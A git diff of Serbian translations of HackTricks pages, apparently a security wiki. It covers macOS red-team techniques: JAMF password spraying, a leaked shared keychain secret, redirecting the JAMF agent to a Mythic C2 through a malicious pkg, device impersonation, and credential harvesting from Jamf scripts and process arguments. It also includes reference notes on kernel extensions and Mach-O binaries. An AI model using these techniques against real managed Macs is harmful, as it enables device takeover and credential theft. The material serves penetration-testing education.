Međutim, da biste instalirali aplikaciju na prijavljeni uređaj, i dalje vam je potrebno da bude potpisana od strane developerskog naloga... međutim, prilikom MDM prijavljivanja, **uređaj dodaje SSL sertifikat MDM-a kao pouzdanog CA**, tako da sada možete potpisati bilo šta.
|
||||
|
||||
Da biste prijavili uređaj na MDM, trebate instalirati **`mobileconfig`** fajl kao root, koji se može dostaviti putem **pkg** fajla (možete ga kompresovati u zip i kada se preuzme sa Safari-ja, biće dekompresovan).
|
||||
Da biste prijavili uređaj u MDM, potrebno je da instalirate **`mobileconfig`** fajl kao root, koji može biti dostavljen putem **pkg** fajla (možete ga kompresovati u zip i kada se preuzme sa safarija, biće dekompresovan).
|
||||
|
||||
**Mythic agent Orthrus** koristi ovu tehniku.
|
||||
|
||||
### Zloupotreba JAMF PRO-a
|
||||
### Zloupotreba JAMF PRO
|
||||
|
||||
JAMF može pokretati **prilagođene skripte** (skripte razvijene od strane sistem administratora), **nativne payload-e** (kreiranje lokalnih naloga, postavljanje EFI lozinke, praćenje fajlova/procesa...) i **MDM** (konfiguracije uređaja, sertifikati uređaja...).
|
||||
JAMF može pokrenuti **prilagođene skripte** (skripte razvijene od strane sistem administratora), **nativne payload-e** (kreiranje lokalnih naloga, postavljanje EFI šifre, praćenje fajlova/procesa...) i **MDM** (konfiguracije uređaja, sertifikati uređaja...).
|
||||
|
||||
#### JAMF samoprijavljivanje
|
||||
#### Samoprijavljivanje u JAMF
|
||||
|
||||
Idite na stranicu poput `https://<ime-kompanije>.jamfcloud.com/enroll/` da biste videli da li imaju **omogućeno samoprijavljivanje**. Ako imaju, može **zatražiti akreditive za pristup**.
|
||||
Idite na stranicu poput `https://<ime-kompanije>.jamfcloud.com/enroll/` da biste videli da li imaju **omogućeno samoprijavljivanje**. Ako imaju, može **zatražiti kredencijale za pristup**.
|
||||
|
||||
Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da biste izveli napad prskanjem lozinki.
|
||||
Možete koristiti skriptu [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) da biste izvršili napad pomoću prskanja lozinki.
|
||||
|
||||
Osim toga, nakon pronalaženja odgovarajućih akreditiva, možete pokušati da napravite brute-force za druge korisnička imena sa sledećim formularom:
|
||||
Osim toga, nakon pronalaska odgovarajućih kredencijala, možda ćete moći da probate da forsiate druge korisničke imenike sa sledećim oblikom:
|
||||
|
||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||
|
||||
#### JAMF autentifikacija uređaja
|
||||
#### Autentikacija uređaja u JAMF-u
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`** binarni fajl sadrži tajnu za otvaranje keša lozinki koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\
|
||||
Osim toga, jamf **trajno ostaje** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
**`jamf`** binarni fajl sadrži tajnu za otvaranje keychain-a koja je u vreme otkrića bila **deljena** među svima i bila je: **`jk23ucnq91jfu9aj`**.\
|
||||
Osim toga, jamf **traje** kao **LaunchDaemon** u **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
||||
#### Preuzimanje kontrole nad JAMF uređajem
|
||||
#### Preuzimanje uređaja u JAMF-u
|
||||
|
||||
URL **JSS** (Jamf Software Server) koji će **`jamf`** koristiti nalazi se u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
**JSS** (Jamf Software Server) **URL** koji će **`jamf`** koristiti se nalazi u **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
|
||||
Ovaj fajl u osnovi sadrži URL:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Dakle, napadač bi mogao da ubaci zlonamerni paket (`pkg`) koji **prepisuje ovaj fajl** prilikom instalacije, postavljajući **URL na Mythic C2 osluškivač preko Typhon agenta**, kako bi mogao da zloupotrebi JAMF kao C2.
|
||||
Dakle, napadač bi mogao da ubaci zlonamerni paket (`pkg`) koji **prepisuje ovaj fajl** prilikom instalacije postavljajući **URL ka Mythic C2 slušaocu od strane Typhon agenta** kako bi sada mogao da zloupotrebi JAMF kao C2.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -91,26 +91,26 @@ sudo jamf policy -id 0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### JAMF Impersonacija
|
||||
#### JAMF Imitacija
|
||||
|
||||
Da biste **prevarili komunikaciju** između uređaja i JMF-a, potrebno vam je:
|
||||
Da biste **imitirali komunikaciju** između uređaja i JMF-a, potrebno je:
|
||||
|
||||
* **UUID** uređaja: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* **JAMF kejčen** sa lokacije: `/Library/Application\ Support/Jamf/JAMF.keychain` koji sadrži sertifikat uređaja
|
||||
* **JAMF keš lanac** sa lokacije: `/Library/Application\ Support/Jamf/JAMF.keychain` koji sadrži sertifikat uređaja
|
||||
|
||||
Sa ovim informacijama, **kreirajte virtuelnu mašinu** sa **ukradenim** hardverskim **UUID**-om i sa **onemogućenim SIP-om**, prenesite **JAMF kejčen**, **hukujte** Jamf **agent** i ukradite njegove informacije.
|
||||
Sa ovim informacijama, **kreirajte virtuelnu mašinu** sa **ukradenim** hardverskim **UUID-om** i sa **SIP onemogućenim**, ubacite **JAMF keš lanac**, **hukujte** Jamf **agent** i ukradite njegove informacije.
|
||||
|
||||
#### Krađa tajni
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori mogu želeli da izvrše putem Jamf-a jer se **ovde smeštaju, izvršavaju i uklanjaju**. Ove skripte **mogu sadržati akreditive**.
|
||||
Takođe možete pratiti lokaciju `/Library/Application Support/Jamf/tmp/` za **prilagođene skripte** koje administratori žele da izvrše putem Jamf-a jer se ovde **postavljaju, izvršavaju i uklanjaju**. Ove skripte **mogu sadržati pristupne podatke**.
|
||||
|
||||
Međutim, **akreditivi** mogu biti prosleđeni ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez root pristupa).
|
||||
Međutim, **pristupni podaci** mogu biti prosleđeni ovim skriptama kao **parametri**, pa biste trebali pratiti `ps aux | grep -i jamf` (čak i bez privilegija root korisnika).
|
||||
|
||||
Skripta [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) može pratiti dodavanje novih fajlova i nove argumente procesa.
|
||||
Skripta [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) može osluškivati dodavanje novih fajlova i novih argumenata procesa.
|
||||
|
||||
### Udaljeni pristup macOS-u
|
||||
### Udaljeni pristup MacOS-u
|
||||
|
||||
I takođe o "specijalnim" **mrežnim** **protokolima** za **MacOS**:
|
||||
|
||||
|
@ -120,7 +120,7 @@ I takođe o "specijalnim" **mrežnim** **protokolima** za **MacOS**:
|
|||
|
||||
## Active Directory
|
||||
|
||||
U nekim slučajevima ćete otkriti da je **MacOS računar povezan sa AD-om**. U ovom scenariju trebali biste pokušati **enumerisati** active directory kao što ste navikli. Pronađite **pomoć** na sledećim stranicama:
|
||||
U nekim situacijama ćete otkriti da je **MacOS računar povezan sa AD**. U ovom scenariju trebalo bi da pokušate da **enumerišete** active directory na način na koji ste navikli. Pronađite **pomoć** na sledećim stranicama:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -134,15 +134,15 @@ U nekim slučajevima ćete otkriti da je **MacOS računar povezan sa AD-om**. U
|
|||
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Neki **lokalni MacOS alati** koji vam mogu pomoći su `dscl`:
|
||||
Neke **lokalne MacOS alatke** koje vam mogu pomoći su `dscl`:
|
||||
```bash
|
||||
dscl "/Active Directory/[Domain]/All Domains" ls /
|
||||
```
|
||||
Takođe, postoje neki alati pripremljeni za MacOS koji automatski nabrojavaju AD i igraju se sa kerberosom:
|
||||
Takođe postoje neki alati pripremljeni za MacOS koji automatski nabrajaju AD i igraju se sa kerberosom:
|
||||
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound je proširenje alata za auditanje Bloodhound koje omogućava prikupljanje i unos odnosa Active Directory-ja na MacOS hostovima.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost je Objective-C projekat dizajniran za interakciju sa Heimdal krb5 API-jima na macOS-u. Cilj projekta je omogućiti bolje testiranje sigurnosti oko Kerberosa na macOS uređajima koristeći native API-je bez zahtevanja bilo kojeg drugog okvira ili paketa na cilju.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) alat za nabrojavanje Active Directory-ja.
|
||||
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound je proširenje alata za reviziju Bloodhound koje omogućava prikupljanje i unošenje odnosa Active Directory-ja na MacOS hostovima.
|
||||
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost je Objective-C projekat dizajniran za interakciju sa Heimdal krb5 API-jima na macOS-u. Cilj projekta je omogućiti bolje testiranje sigurnosti oko Kerberosa na macOS uređajima korišćenjem nativnih API-ja bez potrebe za bilo kojim drugim okvirom ili paketima na ciljnom uređaju.
|
||||
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) alat za nabrajanje Active Directory-ja.
|
||||
|
||||
### Informacije o domenu
|
||||
```bash
|
||||
|
@ -150,20 +150,20 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
```
|
||||
### Korisnici
|
||||
|
||||
Tri vrste korisnika na MacOS-u su:
|
||||
Tri vrste MacOS korisnika su:
|
||||
|
||||
* **Lokalni korisnici** - Upravljaju se lokalnom OpenDirectory uslugom i nisu na bilo koji način povezani sa Active Directory-jem.
|
||||
* **Mrežni korisnici** - Privremeni korisnici Active Directory-ja koji zahtevaju vezu sa DC serverom radi autentifikacije.
|
||||
* **Mobilni korisnici** - Korisnici Active Directory-ja sa lokalnom rezervnom kopijom svojih akreditiva i datoteka.
|
||||
* **Lokalni korisnici** — Upravljaju se lokalnom OpenDirectory uslugom i nisu na bilo koji način povezani sa Active Directory-jem.
|
||||
* **Mrežni korisnici** — Promenljivi Active Directory korisnici koji zahtevaju povezivanje sa DC serverom radi autentifikacije.
|
||||
* **Mobilni korisnici** — Active Directory korisnici sa lokalnom rezervnom kopijom svojih akreditacija i fajlova.
|
||||
|
||||
Lokalne informacije o korisnicima i grupama čuvaju se u fascikli _/var/db/dslocal/nodes/Default._\
|
||||
Lokalne informacije o korisnicima i grupama čuvaju se u folderu _/var/db/dslocal/nodes/Default._\
|
||||
Na primer, informacije o korisniku pod imenom _mark_ čuvaju se u _/var/db/dslocal/nodes/Default/users/mark.plist_, a informacije o grupi _admin_ su u _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
||||
Pored korišćenja veza HasSession i AdminTo, **MacHound dodaje tri nove veze** u Bloodhound bazu podataka:
|
||||
Pored korišćenja HasSession i AdminTo veza, **MacHound dodaje tri nove veze** u Bloodhound bazu podataka:
|
||||
|
||||
* **CanSSH** - entitet koji je dozvoljen da se SSH-uje na host
|
||||
* **CanVNC** - entitet koji je dozvoljen da se VNC-uje na host
|
||||
* **CanAE** - entitet koji je dozvoljen da izvršava AppleEvent skripte na hostu
|
||||
* **CanSSH** - entitetu dozvoljeno SSH povezivanje na host
|
||||
* **CanVNC** - entitetu dozvoljeno VNC povezivanje na host
|
||||
* **CanAE** - entitetu dozvoljeno izvršavanje AppleEvent skripti na hostu
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -189,7 +189,7 @@ Više informacija na [https://its-a-feature.github.io/posts/2018/01/Active-Direc
|
|||
|
||||
## Pristupanje Keychain-u
|
||||
|
||||
Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez generisanja upozorenja, mogu pomoći u napredovanju u vežbi crvenog tima:
|
||||
Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez generisanja upita, mogu pomoći u napredovanju vežbe crvenog tima:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -197,13 +197,13 @@ Keychain verovatno sadrži osetljive informacije koje, ako se pristupi bez gener
|
|||
|
||||
## Spoljni servisi
|
||||
|
||||
MacOS crveno timiranje se razlikuje od redovnog Windows crvenog timiranja jer se obično **MacOS integriše sa nekoliko spoljnih platformi direktno**. Uobičajena konfiguracija MacOS-a je pristupanje računaru koristeći **OneLogin sinhronizovane akreditive i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogin-a.
|
||||
MacOS Red Teaming se razlikuje od redovnog Windows Red Teaming-a jer je obično **MacOS integrisan sa nekoliko spoljnih platformi direktno**. Česta konfiguracija MacOS-a je pristup računaru korišćenjem **OneLogin sinhronizovanih akreditiva, i pristupanje nekoliko spoljnih servisa** (kao što su github, aws...) putem OneLogina.
|
||||
|
||||
## Razne tehnike crvenog tima
|
||||
## Različite tehnike crvenog tima
|
||||
|
||||
### Safari
|
||||
|
||||
Kada se fajl preuzme u Safariju, ako je "bezbedan" fajl, **automatski će biti otvoren**. Na primer, ako **preuzmete zip**, automatski će biti dekompresovan:
|
||||
Kada se fajl preuzme u Safariju, ako je "siguran" fajl, **automatski će biti otvoren**. Na primer, ako **preuzmete zip**, automatski će biti dekompresovan:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -214,17 +214,3 @@ Kada se fajl preuzme u Safariju, ako je "bezbedan" fajl, **automatski će biti o
|
|||
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
|
||||
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
|
||||
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,48 +1,48 @@
|
|||
# macOS Kernelni ekstenzije
|
||||
# macOS Kernel Extensions
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised on HackTricks**? Or do you want to have access to the **latest version of PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our exclusive collection of [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS and HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) **Discord group** or the [**telegram group**](https://t.me/peass) or **follow me** on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Share your hacking tricks by sending PR to** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **poslednjoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Pogledajte [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-a**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite **zvanični PEASS i HackTricks** [**swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-a na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Kernelne ekstenzije (Kexts) su **paketi** sa **`.kext`** ekstenzijom koji se **direktno učitavaju u macOS kernel prostor**, pružajući dodatne funkcionalnosti glavnom operativnom sistemu.
|
||||
Kernel ekstenzije (Kexts) su **paketi** sa ekstenzijom **`.kext`** koji se **direktno učitavaju u macOS kernel prostor**, pružajući dodatne funkcionalnosti glavnom operativnom sistemu.
|
||||
|
||||
### Zahtevi
|
||||
|
||||
Očigledno, ovo je tako moćno da je **komplikovano učitati kernelnu ekstenziju**. Ovo su **zahtevi** koje kernelna ekstenzija mora ispuniti da bi se učitala:
|
||||
Očigledno, ovo je toliko moćno da je **komplikovano učitati kernel ekstenziju**. Ovo su **zahtevi** koje kernel ekstenzija mora ispuniti da bi bila učitana:
|
||||
|
||||
* Kada se **ulazi u režim oporavka**, kernelne **ekstenzije moraju biti dozvoljene** za učitavanje:
|
||||
* Prilikom **ulaska u režim oporavka**, kernel **ekstenzije moraju biti dozvoljene** za učitavanje:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Kernelna ekstenzija mora biti **potpisana kernelnim sertifikatom za potpisivanje koda**, koji može **dodeliti samo Apple**. Koja će detaljno pregledati kompaniju i razloge zašto je potrebna.
|
||||
* Kernelna ekstenzija takođe mora biti **notarizovana**, Apple će je moći proveriti na prisustvo malvera.
|
||||
* Zatim, **root** korisnik je taj koji može **učitati kernelnu ekstenziju** i fajlovi unutar paketa moraju **pripadati root-u**.
|
||||
* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji bez root pristupa**: `/Library/StagedExtensions` (zahteva `com.apple.rootless.storage.KernelExtensionManagement` dozvolu).
|
||||
* Na kraju, prilikom pokušaja učitavanja, korisnik će [**primiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) i, ako ga prihvati, računar se mora **ponovo pokrenuti** da bi ga učitao.
|
||||
* Kernel ekstenzija mora biti **potpisana kernel kodnim potpisom**, koji može dati samo **Apple**. Ko će detaljno pregledati kompaniju i razloge zašto je potrebno.
|
||||
* Kernel ekstenzija takođe mora biti **notarizovana**, Apple će moći da je proveri na prisustvo malvera.
|
||||
* Zatim, **root** korisnik je taj koji može **učitati kernel ekstenziju** i fajlovi unutar paketa moraju **pripadati root-u**.
|
||||
* Tokom procesa učitavanja, paket mora biti pripremljen na **zaštićenoj lokaciji koja nije root**: `/Library/StagedExtensions` (zahteva dozvolu `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Na kraju, prilikom pokušaja učitavanja, korisnik će [**dobiti zahtev za potvrdu**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) i, ako se prihvati, računar mora biti **restartovan** da bi je učitao.
|
||||
|
||||
### Proces učitavanja
|
||||
|
||||
U Catalini je bilo ovako: Zanimljivo je primetiti da se **proces verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa **`com.apple.private.security.kext-management`** dozvolom mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
U Catalina verziji je bilo ovako: Zanimljivo je primetiti da se **proces verifikacije** dešava u **userland-u**. Međutim, samo aplikacije sa dozvolom **`com.apple.private.security.kext-management`** mogu **zatražiti od kernela da učita ekstenziju**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** komandna linija **pokreće** proces **verifikacije** za učitavanje ekstenzije
|
||||
* Komuniciraće sa **`kextd`** slanjem poruke putem **Mach servisa**.
|
||||
1. **`kextutil`** cli **pokreće** proces **verifikacije** za učitavanje ekstenzije
|
||||
* Razgovaraće sa **`kextd`** slanjem putem **Mach servisa**.
|
||||
2. **`kextd`** će proveriti nekoliko stvari, kao što je **potpis**
|
||||
* Komuniciraće sa **`syspolicyd`** da **proveri** da li se ekstenzija može **učitati**.
|
||||
3. **`syspolicyd`** će **zatražiti** od **korisnika** potvrdu ako ekstenzija prethodno nije učitana.
|
||||
* **`syspolicyd`** će prijaviti rezultat **`kextd`**-u
|
||||
* Razgovaraće sa **`syspolicyd`** da **proveri** da li se ekstenzija može **učitati**.
|
||||
3. **`syspolicyd`** će **zatražiti od korisnika** ako ekstenzija prethodno nije učitana.
|
||||
* **`syspolicyd`** će prijaviti rezultat **`kextd`-u**
|
||||
4. **`kextd`** će konačno moći da **kaže kernelu da učita** ekstenziju
|
||||
|
||||
Ako **`kextd`** nije dostupan, **`kextutil`** može izvršiti iste provere.
|
||||
Ako **`kextd`** nije dostupan, **`kextutil`** može obaviti iste provere.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -51,12 +51,12 @@ Ako **`kextd`** nije dostupan, **`kextutil`** može izvršiti iste provere.
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised on HackTricks**? Or do you want to have access to the **latest version of PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our exclusive collection of [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS and HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) **Discord group** or the [**telegram group**](https://t.me/peass) or **follow me** on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Share your hacking tricks by sending PR to** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite pristup **poslednjoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Pogledajte [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu ekskluzivnu kolekciju [**NFT-a**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite **zvanični PEASS i HackTricks** [**swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-a na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,19 +6,19 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Binarni fajlovi za Mac OS obično su kompajlirani kao **univerzalni binarni fajlovi**. Univerzalni binarni fajl može **podržavati više arhitektura u istom fajlu**.
|
||||
Mac OS binarni fajlovi obično su kompajlirani kao **univerzalni binarni fajlovi**. **Univerzalni binarni fajl** može **podržavati više arhitektura u istom fajlu**.
|
||||
|
||||
Ovi binarni fajlovi prate **Mach-O strukturu** koja se sastoji od:
|
||||
Ovi binarni fajlovi prate **Mach-O strukturu** koja se uglavnom sastoji od:
|
||||
|
||||
* Header-a
|
||||
* Load komandi
|
||||
|
@ -41,50 +41,50 @@ struct fat_header {
|
|||
struct fat_arch {
|
||||
cpu_type_t cputype; /* specifikacija CPU-a (int) */
|
||||
cpu_subtype_t cpusubtype; /* specifikacija mašine (int) */
|
||||
uint32_t offset; /* offset fajla do ovog objektnog fajla */
|
||||
uint32_t offset; /* fajl offset do ovog objektnog fajla */
|
||||
uint32_t size; /* veličina ovog objektnog fajla */
|
||||
uint32_t align; /* poravnanje kao stepen broja 2 */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
Header ima **magic** bajtove, a zatim **broj** **arhitektura** koje fajl **sadrži** (`nfat_arch`) i svaka arhitektura će imati `fat_arch` strukturu.
|
||||
Header ima **magic** bajtove praćene **brojem** **arhitektura** koje fajl **sadrži** (`nfat_arch`) i svaka arhitektura će imati `fat_arch` strukturu.
|
||||
|
||||
Proverite to sa:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O univerzalni binarni fajl sa 2 arhitekture: [x86_64:Mach-O 64-bitni izvršni x86_64] [arm64e:Mach-O 64-bitni izvršni arm64e]
|
||||
/bin/ls (za arhitekturu x86_64): Mach-O 64-bitni izvršni x86_64
|
||||
/bin/ls (za arhitekturu arm64e): Mach-O 64-bitni izvršni arm64e
|
||||
